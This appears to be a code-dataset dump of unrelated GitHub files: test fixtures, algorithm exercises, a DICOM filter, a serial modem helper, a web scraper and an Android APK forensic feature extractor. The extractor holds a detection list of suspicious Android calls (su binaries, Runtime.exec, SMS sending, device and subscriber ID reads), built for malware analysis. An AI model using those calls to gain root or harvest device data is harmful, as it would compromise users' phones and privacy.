[builtComp, builtComp2], [builtColl, builtColl2]\n\ndef addBuiltJob1(self):\n self.openRepository()\n trv, builtComp, builtColl, buildReq = addTestCase1(self)\n\n buildConfig = copy.deepcopy(self.buildCfg)\n buildConfig.resolveTroves = [[(buildReq.getName(), None, None)]]\n\n job = _buildJob(self, buildConfig,\n [('testcase', None, parseFlavor('ssl'))],\n {'testcase' : [builtColl, builtComp]})\n return job.jobId\n\ndef updateBuiltJob1(self):\n self.addComponent('testcase:source', '2',\n [('testcase.recipe',\n workingRecipe % {'root' : self.rootDir})])\n\ndef updateBuiltJob1BuildReq(self, id='2'):\n buildReqRun = self.addComponent('buildreq:runtime', id, ['/buildreq'])\n buildReq = self.addCollection('buildreq', id, [':runtime'])\n return buildReq\n\ndef addBuiltJob2(self):\n self.openRepository()\n buildConfig = copy.deepcopy(self.buildCfg)\n trv, builtComp, builtColl = addTestCase2(self)\n\n job = _buildJob(self, buildConfig,\n [('testcase2', None, parseFlavor(''))],\n {'testcase2' : [builtColl, builtComp]})\n return job.jobId\n\ndef addFailedJob1(self):\n # one built, one failed, on different branches.\n trv, builtComp, builtColl, buildReq = addTestCase1(self)\n addTestCase2Branch2(self, fail=True)\n buildConfig = copy.deepcopy(self.buildCfg)\n job = _buildJob(self, buildConfig,\n ['testcase2=:branch2', 'testcase'],\n {'testcase' : [builtColl, builtComp]})\n return job.jobId\n\ndef addMultiContextJob1(self):\n trv, builtComps, builtColls = addTestCase3(self)\n trv2, builtComps2, builtColls2 = addTestCase3(self, version='1-2')\n buildConfig = copy.deepcopy(self.buildCfg)\n buildConfig.setSection('nossl')\n buildConfig.configLine('flavor !ssl')\n buildConfig.initializeFlavors()\n\n job = _buildJob(self, buildConfig,\n ['testcase3=1-1', 'testcase3{nossl}'],\n {'testcase3' : {'' : builtColls + builtComps,\n 'nossl' : builtColls2 + builtComps2}})\n return job.jobId\n\n\ndef _buildJob(self, buildConfig, buildTroveSpecs, builtMapping):\n client = conaryclient.ConaryClient(buildConfig)\n job = buildcmd.getBuildJob(buildConfig, client, buildTroveSpecs)\n db = self.openRmakeDatabase()\n db.addJob(job)\n db.subscribeToJob(job)\n loadResults = recipeutil.getSourceTrovesFromJob(job,\n repos=client.getRepos())\n for trove in job.iterLoadableTroves():\n result = loadResults.get(trove.getNameVersionFlavor(True), None)\n if result:\n trove.troveLoaded(result)\n job.setBuildTroves(list(job.iterTroves()))\n for buildTrove in job.iterTroves():\n binaries = builtMapping.get(buildTrove.getName().split(':')[0], None)\n if isinstance(binaries, dict):\n binaries = binaries.get(buildTrove.getContext(), None)\n if binaries:\n buildTrove.troveBuilt([x.getNameVersionFlavor() for x in binaries])\n else:\n buildTrove.troveFailed('Failure')\n job.jobPassed('passed')\n return job\n\n\nworkingRecipe = \"\"\"\\\nclass TestRecipe(PackageRecipe):\n name = 'testcase'\n version = '1.0'\n\n clearBuildReqs()\n buildRequires = ['buildreq:runtime']\n\n def setup(r):\n r.Run('if [ -e %(root)s/buildreq ]; then exit 1; fi')\n if Use.ssl:\n r.Create('/foo', contents='foo')\n else:\n r.Create('/bar', contents='foo')\n\"\"\"\n\nworkingRecipe2 = \"\"\"\\\nclass TestRecipe(PackageRecipe):\n name = '%(name)s'\n version = '1.0'\n\n clearBuildReqs()\n\n def setup(r):\n r.Create('/%(name)s', contents='foo')\n\"\"\"\n\nloadedRecipe = \"\"\"\nclass LoadedRecipe(PackageRecipe):\n name = 'loaded'\n version = '@@'\n\n def setup(r):\n r.Create('/bar')\n\"\"\"\n\n\nloadInstalledRecipe = \"\"\"\nloadInstalled('loaded')\nclass LoadInstalledRecipe(PackageRecipe):\n name = 'loadinstalled'\n version = '1'\n if Use.krb:\n pass\n\n clearBuildReqs()\n loadedVersion = LoadedRecipe.version\n # note there's no build requirement on loaded - that needs to be added \n # manually.\n def setup(r):\n r.Create('/asdf/foo')\n r.PackageSpec('loaded-%s' % LoadedRecipe.version, '.*')\n\"\"\"\n\nloadRecipe = \"\"\"\nloadSuperClass('loaded')\nclass LoadInstalledRecipe(PackageRecipe):\n name = 'load'\n version = '1'\n if Use.krb:\n pass\n\n clearBuildReqs()\n loadedVersion = LoadedRecipe.version\n # note there's no build requirement on loaded - that needs to be added \n # manually.\n def setup(r):\n r.Create('/asdf/foo')\n r.PackageSpec('loaded-%s' % LoadedRecipe.version, '.*')\n\"\"\"\n","repo_name":"sassoftware/rmake","sub_path":"rmake_test/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"} +{"seq_id":"72172140783","text":"import sys\nsys.setrecursionlimit(1000000)\ninput = sys.stdin.readline\n\nn = int(input().rstrip())\nmatrix = [list(input().rstrip()) for _ in range(n)]\nvisited = [[False] * n for _ in range(n)]\n\nnormal, unnomarl = 0, 0\n\ndo_x = [-1, 1, 0, 0]\ndo_y = [0, 0, -1, 1]\n\ndef dfs(x, y):\n visited[x][y] = True\n current = matrix[x][y]\n for i in range(4):\n nx = x + do_x[i]\n ny = y + do_y[i]\n\n if (0<=nx 0:\n method_name = 'init'\n method_name = class_name[1:] + '->' + method_name\n self._apk_data[category][method_name] = 1\n\n\n def __extract_native_calls(self):\n self._apk_data['native_calls'] = dict()\n for method in self._d.get_methods():\n\n # this condition is copied from show_NativeCalls()\n if method.get_access_flags() & 0x100:\n class_name = method.get_class_name()\n method_name = method.get_name()\n if method_name.find('init') > 0:\n method_name = 'init'\n method_name = class_name[1:] + '->' + method_name\n self._apk_data['native_calls'][method_name] = 1\n\n\n def __extract_urls(self):\n\n # get urls\n ip_regex = '(?:[\\d]{1,3})\\.(?:[\\d]{1,3})\\.(?:[\\d]{1,3})\\.(?:[\\d]{1,3})'\n url_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|\\\n (?:%[0-9a-fA-F][0-9a-fA-F]))+'\n\n self._apk_data['urls'] = dict()\n\n for string in self._strings:\n # search for ip addresses\n ip = re.search(ip_regex, string)\n if None != ip:\n ip = ip.group()\n self._apk_data['urls'][ip] = 1\n\n # search for urls\t\n url = re.search(url_regex, string)\n if None != url:\n url = urllib.quote(url.group(), '>:/?')\n self._apk_data['urls'][url] = 1\n # add hostname\n o = urlparse(url)\n hostname = o.netloc\n self._apk_data['urls'][hostname] = 1\n\n\n def __extract_suspicious_calls(self):\n sus_calls = ['Ljava/net/HttpURLconnection;->setRequestMethod',\n 'Ljava/net/HttpURLconnection',\n 'getExternalStorageDirectory',\n 'getSimCountryIso',\n 'execHttpRequest',\n 'sendTextMessage',\n 'Lorg/apache/http/client/methods/HttpPost',\n 'getSubscriberId',\n 'Landroid/telephony/SmsMessage;->getMessageBody',\n 'getDeviceId',\n 'getPackageInfo',\n 'getSystemService',\n 'getWifiState',\n 'system/bin/su',\n 'system/xbin/su',\n 'setWifiEnabled',\n 'setWifiDisabled',\n 'Cipher',\n 'Ljava/io/IOException;->printStackTrace',\n 'android/os/Exec',\n 'Ljava/lang/Runtime;->exec']\n\n sus_calls = dict(zip(sus_calls, np.ones(len(sus_calls))))\n self._apk_data['suspicious_calls'] = dict()\n\n for string in self._strings:\n for sc in sus_calls:\n if string.find(sc) >= 0:\n self._apk_data['suspicious_calls'][string] = 1\n\n sus_tuples = [('java/net/HttpURLconnection', 'setRequestMethod'),\n ('android/telephony/SmsMessage', 'getMessageBody'),\n ('java/io/IOException', 'printStackTrace'),\n ('java/lang/Runtime', 'exec')]\n\n for tpl in sus_tuples:\n class_name = tpl[0][1:]\n name = tpl[1]\n paths = self._dx.tainted_packages.search_methods(class_name, name, '')\n for path in paths:\n method = path.get_dst(self._cm)\n method_full = method[0] + '->' + method[1]\n self._apk_data['suspicious_calls'][method_full] = 1\n\n\n def __str__(self):\n if self._out['format'] == 'xml':\n out_str = self.__create_xml_string()\n else:\n out_str = self.__get_feature_strings()\n return out_str\n\n\n def __get_feature_strings(self):\n feat_str = ''\n for category in self._out['categories']:\n if category not in self._apk_data:\n continue\n\n for item in self._apk_data[category]:\n feat_str += '\\n{0}::{1}'\\\n .format(category, item[:self._out['feat_len']])\n return feat_str[1:]\n\n\n def __create_xml_string(self):\n xml_str = ''\n xml_str += self.__get_info_string()\n for category in self._out['categories']:\n xml_str += self.__get_category_string(category)\n xml_str += '\\n'\n\n doc = parseString(\"\" + xml_str + \"\")\n xml = doc.toxml().replace('', '\\n')\n return xml\n\n\n def __get_info_string(self):\n istr = '\\n\\t'\n istr += '\\n\\t\\t' + str(self._apk_data['sha256']) + ''\n istr += '\\n\\t\\t' + str(self._apk_data['md5']) + ''\n istr += '\\n\\t\\t' + self._apk_data['apk_name'] + ''\n istr += '\\n\\t\\t' + self._apk_data['package_name'] + ''\n istr += '\\n\\t\\t' + self._apk_data['sdk_version'] + ''\n istr += '\\n\\t'\n return istr\n\n\n def __get_category_string(self, category):\n cat_str = '\\n\\t<{}>'.format(category)\n for item in self._apk_data[category]:\n field = self.__get_field_name(category)\n cat_str += '\\n\\t\\t<{0}>{1}'\\\n .format(field, item[:self._out['feat_len']])\n cat_str += '\\n\\t'.format(category)\n return cat_str\n\n\n @staticmethod\n def __get_field_name(category):\n if category.endswith('ies'):\n return category[:-3] + 'y'\n else:\n return category[:-1]","repo_name":"securitystreak/security-scripts","sub_path":"mastering-python-forensics/Chapter06/apk_analyzer.py","file_name":"apk_analyzer.py","file_ext":"py","file_size_in_byte":10409,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"91"} +{"seq_id":"3742900741","text":"import serial\n\nimport time\n\nfrom threading import Timer\n#from multiprocessing import Process\n\n#SERIAL_PORT = \"/dev/ttyS0\"\nSERIAL_PORT = \"\"\nser = None\n\nSendLineInProgress = False\n\nReadQueue = []\n\n\nglobal threadInProgress\n\ndef InitSerial(sp):\n\tglobal SERIAL_PORT\n\tglobal ser\n\tprint(\"Serial PORT: \" + sp)\n\tSERIAL_PORT = sp\n\n\ttry:\n\t\tser = serial.Serial(SERIAL_PORT, baudrate = 115200, timeout = 0.5)\n\t\treturn True\n\texcept:\n\t\tprint('\\033[91m' + \"[!] Stopped! Wrong serial port!\" + '\\033[0m')\n\t\treturn False\n\n\ndef ReadToQueue():\n\ts = \"\"\n\twhile 1:\n\t\tch = ser.read();\n\t\tif len(ch) == 0:\n\t\t\tbreak\n\t\ts += ch.decode()\n\t\n\tif len(s) > 0:\n\t\tprint(\"Append to queue: '\" + s + \"'\")\n\t\tReadQueue.append(s)\n\ndef SendLine(line, wait = True, onlyFirstLine=False, arrBytes=False, arrBytesLength=0, skipChars=[], timeout=0):\n\t\n\t\n\tReadToQueue()\n\t\n\n\tglobal SendLineInProgress\n\n\n\tif timeout > 0:\n\n\t\tdef writeInThread():\n\t\t\tser.write(str.encode(line + \"\\r\"))\n\n\t\tr = Timer(0.1, writeInThread)\n\t\tr.start()\n\n\t\ttime.sleep(timeout)\n\n\t\tif r.is_alive():\n\t\t\tr.cancel()\n\t\t\treturn \"!TIMEOUT!\"\n\n\telse:\n\t\tser.write(str.encode(line + \"\\r\"))\n\n\n\ts = \"\"\n\tbts = bytearray()\n\tbts_l = 0\n\n\tskipLinesInBytes = 2\n\tskippedLinesInBytes = 0\n\tpreviousChar = 0\n\tStopBuffer = False\n\n\t\n\tif(wait == True):\n\t\tSendLineInProgress = True\n\t\tif arrBytes:\n\t\t\ttime.sleep(3)\n\n\t\twhile 1:\n\t\t\t\n\t\t\tch = ser.read()\n\t\t\t#print(\">\" + str(ch) + \"<\")\n\t\t\t#print(ord(ch))\n\t\t\t#if len(ch) == 0 or ch == \"\" or ch == \"\\n\" or ord(ch) == 10:\n\t\t\tif len(ch) == 0:\n\t\t\t\tbreak\n\t\t\tif arrBytes:\n\n\t\t\t\t\n\t\t\t\t#time.sleep(0.1)\n\n\t\t\t\tch_nr = ord(ch)\n\n\t\t\t\tif ch_nr in skipChars: \n\t\t\t\t\tprint(\"Skipping char...\")\n\t\t\t\t\tcontinue\n\n\t\t\t\tif skippedLinesInBytes >= skipLinesInBytes:\n\n\t\t\t\t\t#if ch_nr == 10 and previousChar == 13:\n\t\t\t\t\tif bts_l >= arrBytesLength:\n\t\t\t\t\t\tStopBuffer = True\n\n\t\t\t\t\tif StopBuffer:\n\t\t\t\t\t\ts += ch.decode()\n\t\t\t\t\telse:\n\n\t\t\t\t\t\t#try:\n\t\t\t\t\t\t\t#print(str(ord(ch)) + \" -> \" + ch.decode() )\n\t\t\t\t\t\t#except:\n\t\t\t\t\t\t\t#print(str(ord(ch)) + \" -> \" + \"NULL\" )\n\n\t\t\t\t\t\tbts.append(ch_nr)\n\t\t\t\t\t\tbts_l += 1\n\n\t\t\t\t\tpreviousChar = ch_nr\n\n\t\t\t\telif ch_nr == 10:\n\t\t\t\t\tskippedLinesInBytes += 1\n\n\t\t\telse:\n\t\t\t\ts += ch.decode()\n\t\tprint(s)\n\t\tSendLineInProgress = False\n\t\n\t\tif arrBytes:\n\t\t\tReadQueue.append(s)\n\t\t\tprint(s)\n\t\t\treturn bts\n\n\t\ts = s.split(\"\\r\\r\\n\")\n\t\ts.pop(0)\n\t\ts = \"\\n\".join(s)\n\t\ts = s.rstrip(chr(10))\n\t\ts = s.rstrip(chr(13))\n\t\t\n\t\tif onlyFirstLine is True:\n\t\t\treturn s.split(\"\\n\").pop(0)\n\n\treturn s\n\t\t#TODO: Zapisywac to co sie tu wypisze jako listy danych a potem te listy czytac jako piorytet podczas sprwadzania nowych danych w petli\n\t\t#CEL ^ zeby podczas zbierania informacji tutuaj typu \"OK\" nie przyszedl miedzyczasie jakis np SMS, z ktorym nic sie nie zrobi\n\ndef Read():\n\treturn ser.read()\n\ndef ReadLine():\n\treturn ser.readline()\n\ndef Write(s, encode = True):\n\tif encode == True:\n\t\treturn ser.write(s.encode())\n\telse:\n\t\treturn ser.write(s)","repo_name":"karlos1998/SIM-engine","sub_path":"App/Connection.py","file_name":"Connection.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"71125371504","text":"def dfs(r, c):\n \n v1[r][c] = True\n\n dir = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n\n for dr, dc in dir:\n nr, nc = r + dr, c + dc\n \n if 0 <= nr < rs and 0 <= nc < cs and not v1[nr][nc]:\n dfs(nr, nc)\n\nrs, cs = map(int, input().split())\nv1 = [[False for _ in range(cs)] for _ in range(rs)]\n\nfor i in range(rs):\n r_data = input().split()\n for j in range(cs):\n v1[i][j] = int(r_data[j])\n\ncount = 0\n\nfor i in range(rs):\n for j in range(cs):\n \n if not v1[i][j]:\n \n dfs(i, j)\n count += 1\nprint(count)\n","repo_name":"yash31-sen/Practice","sub_path":"stack_queue/tempCodeRunnerFile.py","file_name":"tempCodeRunnerFile.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"8256446276","text":"from utilities import DataLoader, DataHandler\nfrom model import NBModel\nfrom metrics import Metrics\n\n\n\nif __name__ == \"__main__\": \n #Load data - assumes structure NEG and POS\n #file_dir = \"/homes/ija23/nlp/data-tagged\"\n file_dir = \"/Users/igoradamski/Documents/cambridge/MLMI/nlp/coursework/nlp/data-tagged\"\n\n pos_train, neg_train, pos_test, neg_test = DataHandler.getTrainTestSet(file_dir,0,899,900,999)\n\n x_train, y_train = DataHandler.mergeClasses(pos_train, neg_train)\n x_test, y_test = DataHandler.mergeClasses(pos_test, neg_test)\n\n x_train, _ = DataLoader.splitLines(x_train)\n x_test , _ = DataLoader.splitLines(x_test)\n\n print(\"training\")\n model = NBModel.trainNB(x_train, y_train, 4)\n\n print(\"testing\")\n predictions, prod_probs = NBModel.predictNB(x_test, y_test, model, smoothing = 0)\n predictions_sm, prod_probs_sm = NBModel.predictNB(x_test, y_test, model, smoothing = 0.5)\n\n accuracy = Metrics.getAccuracy(predictions, y_test)\n accuracy_sm = Metrics.getAccuracy(predictions_sm, y_test)\n\n\n print('Accuracy is {}. \\nSmoothed accuracy is {}'.format(accuracy, accuracy_sm))\n\n\n","repo_name":"igoradamski2/sentiment-analysis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"26463270117","text":"from random import *\r\n\r\n\r\ndef getRandomList(taille: int, mini: int, maxi: int) -> list:\r\n liste = []\r\n for i in range(taille):\r\n liste.append(randint(mini, maxi))\r\n return liste\r\n\r\n\r\ndef compter(lst: list, elmt: int, ) -> int:\r\n compteur = 0\r\n for i in range(len(lst)):\r\n if lst[i] == elmt:\r\n compteur += 1\r\n return compteur\r\n\r\n\r\ndef contient(lst: list, n: int) -> bool:\r\n res = False\r\n for i in range(len(lst)):\r\n if n == lst[i]:\r\n res = True\r\n return res\r\n\r\n\r\ndef firstIndexOf(lst: list, n: int) -> int:\r\n res = -1\r\n for i in range(len(lst)):\r\n if n == lst[i] and res == -1:\r\n res = i\r\n return res\r\n\r\n\r\ndef lastIndexOf(lst: list, n: int) -> int:\r\n res = -1\r\n for i in range(len(lst)):\r\n if n == lst[i]:\r\n res = i\r\n return res\r\n\r\n\r\ndef nthIndexOf(lst: list, n: int, elmt: int) -> int:\r\n res = -1\r\n for i in range(len(lst)):\r\n if elmt == lst[i]:\r\n n -= 1\r\n if n == 0:\r\n res = i\r\n return res\r\n\r\n\r\ndef creerListeSansDoublon(lst: list) -> list:\r\n lst2 = []\r\n for i in range(len(lst)):\r\n if lst[i] not in lst2:\r\n lst2.append(lst[i])\r\n return lst2\r\n\r\n\r\ndef supprimerDoublons(lst: list) -> None:\r\n lst2 = []\r\n for i in range(len(lst)):\r\n if lst[i] not in lst2:\r\n lst2.append(lst[i])\r\n lst[:] = lst2\r\n\r\n\r\ndef enumerer(lst: list) -> None:\r\n nombres = creerListeSansDoublon(lst)\r\n\r\n for n in nombres:\r\n i = 1\r\n pos = 0\r\n positions = []\r\n while pos != -1:\r\n pos = nthIndexOf(lst, i, n)\r\n if pos != -1:\r\n positions.append(pos)\r\n i += 1\r\n\r\n print(f'Position(s) du {n} : {positions}')\r\n\r\n","repo_name":"ninosauvageot/Python","sub_path":"Python/tp_mr101_struct/TP1/tp1.py","file_name":"tp1.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"2670117981","text":"# 将秒数转换为xx:xx:xx格式的时间\nimport base64\nfrom io import BytesIO\n\nfrom PIL import Image\n\n\ndef get_time_format(seconds):\n s = seconds % 60\n s = str(s) if s >= 10 else '0' + str(s)\n h = seconds // 3600\n h = str(h) if h >= 10 else '0' + str(h)\n m = (seconds // 60) % 60\n m = str(m) if m >= 10 else '0' + str(m)\n return \"{0}:{1}:{2}\".format(h, m, s)\n\n\n# 将音频转换为base64格式\ndef to_base64(wav_path):\n with open(wav_path, 'rb') as fileObj:\n base64_data = fileObj.read()\n data = base64.b64encode(base64_data)\n return data.decode()\n\n\n# 将图片转换成指定大小的base64格式\ndef img_format_base64(path, width, height):\n img = Image.open(path)\n img = img.resize((width, height), Image.ANTIALIAS)\n buffer = BytesIO()\n img.save(buffer, 'jpeg')\n return base64.b64encode(buffer.getvalue()).decode()\n","repo_name":"DragonistYJ/EduWatching","sub_path":"util/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"91"} +{"seq_id":"7021634136","text":"class Setting:\n def __init__(self):\n self.caption = \"Alien Invasion\"\n self.bg_color = (230,230,230)\n self.screen_height = 700\n self.screen_width = 1200\n self.ship_speed = 0.5\n self.bullet_speed = 1.0\n self.bullet_width = 3\n self.bullet_height = 15\n self.bullet_color = (60,60,60)\n self.alien_speed = 0.1\n self.ship_limit = 3\n self.alien_points = 10\n\n","repo_name":"kwc1907/Air-war","sub_path":"second/alien_invasion/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"43866147099","text":"\"\"\"\r\ntestmodule.py\r\n=============\r\nSimple demo module that shows how processing modules can be written for mercure\r\n\r\nThis module takes the incoming DICOM series and applies a 2D Gaussian filter to each slice. The \r\nstrength of the Gaussian filter can be specified via the module settings (e.g., {\"sigma\": 7})\r\n\r\nTo use this module, clone the repository to your local Linux machine and call 'make'. Afterwards,\r\nthe module can be installed via the mercure webinterface using the Docker tag \r\n'mercureimaging/mercure-testmodule:latest'. This tag can be changed in the file 'Makefile'\r\n\"\"\"\r\n\r\n# Standard Python includes\r\nimport os\r\nimport sys\r\nimport json\r\nfrom pathlib import Path\r\n\r\n# Imports for loading DICOMs\r\nimport pydicom\r\nfrom pydicom.uid import generate_uid\r\n\r\n# Imports for manipulating pixel data\r\nfrom scipy.ndimage.filters import gaussian_filter\r\n\r\n\r\ndef process_image(file, in_folder, out_folder, series_uid, settings):\r\n \"\"\"\r\n Processes the DICOM image specified by 'file'. This function will read the\r\n file from the in_folder, apply a Gaussian filter, and save it to the out_folder\r\n using a new series UID given by series_uid. Processing paramters are passed\r\n via the settings argument\r\n \"\"\"\r\n dcm_file_in = Path(in_folder) / file\r\n # Compose the filename of the modified DICOM using the new series UID\r\n out_filename = series_uid + \"#\" + file.split(\"#\", 1)[1]\r\n dcm_file_out = Path(out_folder) / out_filename\r\n\r\n # Load the input slice\r\n ds = pydicom.dcmread(dcm_file_in)\r\n # Set the new series UID\r\n ds.SeriesInstanceUID = series_uid\r\n # Set a UID for this slice (every slice needs to have a unique instance UID)\r\n ds.SOPInstanceUID = generate_uid()\r\n # Add an offset to the series number (to avoid collosion in PACS if sending back into the same study)\r\n ds.SeriesNumber = ds.SeriesNumber + settings[\"series_offset\"]\r\n # Update the series description to indicate which the modified DICOM series is\r\n ds.SeriesDescription = \"FILTER(\" + ds.SeriesDescription + \")\"\r\n # Access the pixel data of the input image, filter it, and store it\r\n pixels = ds.pixel_array\r\n blurred_pixels = gaussian_filter(pixels, sigma=settings[\"sigma\"])\r\n ds.PixelData = blurred_pixels.tobytes()\r\n # Write the modified DICOM file to the output folder\r\n ds.save_as(dcm_file_out)\r\n\r\n\r\ndef main(args=sys.argv[1:]):\r\n \"\"\"\r\n Main entry function of the test module. \r\n The module is called with two arguments from the function docker-entrypoint.sh:\r\n 'testmodule [input-folder] [output-folder]'. The exact paths of the input-folder \r\n and output-folder are provided by mercure via environment variables\r\n \"\"\"\r\n # Print some output, so that it can be seen in the logfile that the module was executed\r\n print(f\"Hello, I am the mercure test module\")\r\n\r\n # Check if the input and output folders are provided as arguments\r\n if len(sys.argv) < 3:\r\n print(\"Error: Missing arguments!\")\r\n print(\"Usage: testmodule [input-folder] [output-folder]\")\r\n sys.exit(1)\r\n\r\n # Check if the input and output folders actually exist\r\n in_folder = sys.argv[1]\r\n out_folder = sys.argv[2]\r\n if not Path(in_folder).exists() or not Path(out_folder).exists():\r\n print(\"IN/OUT paths do not exist\")\r\n sys.exit(1)\r\n\r\n # Load the task.json file, which contains the settings for the processing module\r\n try:\r\n with open(Path(in_folder) / \"task.json\", \"r\") as json_file:\r\n task = json.load(json_file)\r\n except Exception:\r\n print(\"Error: Task file task.json not found\")\r\n sys.exit(1)\r\n\r\n # Create default values for all module settings\r\n settings = {\"sigma\": 7, \"series_offset\": 1000}\r\n\r\n # Overwrite default values with settings from the task file (if present)\r\n if task.get(\"process\", \"\"):\r\n settings.update(task[\"process\"].get(\"settings\", {}))\r\n\r\n # Collect all DICOM series in the input folder. By convention, DICOM files provided by\r\n # mercure have the format [series_UID]#[file_UID].dcm. Thus, by splitting the file\r\n # name at the \"#\" character, the series UID can be obtained\r\n series = {}\r\n for entry in os.scandir(in_folder):\r\n if entry.name.endswith(\".dcm\") and not entry.is_dir():\r\n # Get the Series UID from the file name\r\n seriesString = entry.name.split(\"#\", 1)[0]\r\n # If this is the first image of the series, create new file list for the series\r\n if not seriesString in series.keys():\r\n series[seriesString] = []\r\n # Add the current file to the file list\r\n series[seriesString].append(entry.name)\r\n\r\n # Now loop over all series found\r\n for item in series:\r\n # Create a new series UID, which will be used for the modified DICOM series (to avoid\r\n # collision with the original series)\r\n series_uid = generate_uid()\r\n # Now loop over all slices of the current series and call the processing function\r\n for image_filename in series[item]:\r\n process_image(image_filename, in_folder, out_folder, series_uid, settings)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"mercure-imaging/mercure-testmodule","sub_path":"testmodule.py","file_name":"testmodule.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"33037240149","text":"x = int(input(\"Enter a natural number: \")) # 0 8 7 5 6 3 2 0\n\nmax_ = x % 10\nx //= 10\n\nwhile x > 0:\n x1 = x % 10\n if x1 > max_:\n max_ = x1\n\n x //= 10\n\nprint(max_)\n","repo_name":"pm72/199-SCHOOL","sub_path":"2021-2022/8_3/I სემესტრი/005 (10.21.21)/5_2.py","file_name":"5_2.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"73499478384","text":"import pathlib\n\nimport yaml\n\nfrom workflow.render.format import render_formatted\n\n\ndef create_render_subcommand(parser):\n subparser = parser.add_subparsers(help=\"Initialize QHub repository\")\n subparser = subparser.add_parser(\"render\")\n subparser.add_argument(\n \"--format\",\n default=\"yaml\",\n choices=[\"yaml\", \"bash\", \"json\", \"airflow\", \"systemd\"],\n help=\"format to output workflow\",\n )\n subparser.add_argument(\"workflow\", help=\"workflow configuration\")\n subparser.set_defaults(func=handle_render)\n\n\ndef handle_render(args):\n filename = pathlib.Path(args.workflow)\n if not filename.is_file():\n raise ValueError(f'specified filename=\"{filename}\" is not a file')\n\n with filename.open() as f:\n workflow_template = yaml.safe_load(f)\n\n print(render_formatted(workflow_template, args.format))\n","repo_name":"costrouc/simple-workflows","sub_path":"workflow/cli/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"38139320107","text":"import scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom pymongo.mongo_client import MongoClient\nfrom movieproject.items import MovieprojectItem\n\n\nclass MovieSpider(CrawlSpider):\n #初始化爬虫对象调用该方法\n def __init__(self):\n #调用父类的方法\n super().__init__(self)\n #访问mongodb数据库\n self.client=MongoClient(\"localhost\",27017)\n #创建或者打开urls集合\n self.url_connection = self.client['moviedb']['urls']\n #销毁爬虫对象,回调该方法\n def __del__(self):\n self.client.close()\n\n name = 'mv'\n #allowed_domains = ['www.xxx.com']\n start_urls = ['http://www.4567kan.com/frim/index1.html']\n link = LinkExtractor(allow=r'/frim/index1-\\d+\\.html')\n rules = (\n Rule(link, callback='parse_item', follow=False),\n )\n #解析每一个页码对应的页面,并且获取电影的详情\n def parse_item(self, response):\n li_list = response.xpath('/html/body/div[1]/div/div/div/div[2]/ul/li')\n for li in li_list:\n detial_url = \"http://www.4567kan.com\"+ li.xpath('./div/a/@href').extract_first()\n # print(detial_url)\n\n #查询mongodb数据库中的url集合中有没有包含详情的url\n cursor = self.url_connection.find({\"url\":detial_url})\n if cursor.count()==0:\n #当前的url没有访问过\n print(\"该url没有被访问,可以进行数据的爬取...\")\n #保存当前的url到urls集合中\n self.url_connection.insert_one({\"url\":detial_url})\n #发起一个新的请求,提取电影详情页面的信息\n yield scrapy.Request(url=detial_url,callback=self.parse_detail)\n else:\n #当前的url已经访问过了\n print(\"当前url已经访问过,无需再访问\")\n pass\n # yield scrapy.Request(url=detial_url, callback=self.parse_detail)\n\n #解析电影详情页面的, 解析出电影的名称和描述信息\n def parse_detail(self, response):\n #获取电影名称\n name = response.xpath('/html/body/div[1]/div/div/div/div[2]/h1/text()').extract_first()\n\n #获取电影简介,电影描述信息\n desc = response.xpath('/html/body/div[1]/div/div/div/div[2]/p[5]/span[2]//text()').extract_first()\n desc = ''.join(desc)\n print(f\"电影名称:{name}\\n电影简介:{desc}\")\n\n item = MovieprojectItem()\n item['name']=name\n item['desc']=desc\n yield item","repo_name":"huangweixuan-ai/movieproject","sub_path":"movieproject/spiders/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"14392387470","text":"class Solution:\n \n def wordBreakHelper(self, s, wordDict, hashMap):\n if s in hashMap:\n return hashMap[s]\n \n result = []\n if s in wordDict:\n result.append(s)\n \n for i in range(len(s)):\n leftSubStr = s[0:i]\n if leftSubStr in wordDict:\n rightSubStrList = self.wordBreakHelper(s[i:], wordDict, hashMap)\n for rightSubStr in rightSubStrList:\n result.append(leftSubStr + \" \" + rightSubStr)\n \n hashMap[s] = result \n return result\n \n def wordBreak(self, s: str, wordDict: List[str]) -> List[str]:\n return self.wordBreakHelper(s, wordDict, {})","repo_name":"MannParutthi/LeetCode","sub_path":"140-word-break-ii/140-word-break-ii.py","file_name":"140-word-break-ii.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"75175468142","text":"# def positive(n):\n# if n > 0:\n# return True\n# else:\n# return False\npositive = lambda n:n>0\nnegitive = lambda n:n<0\n# lst = 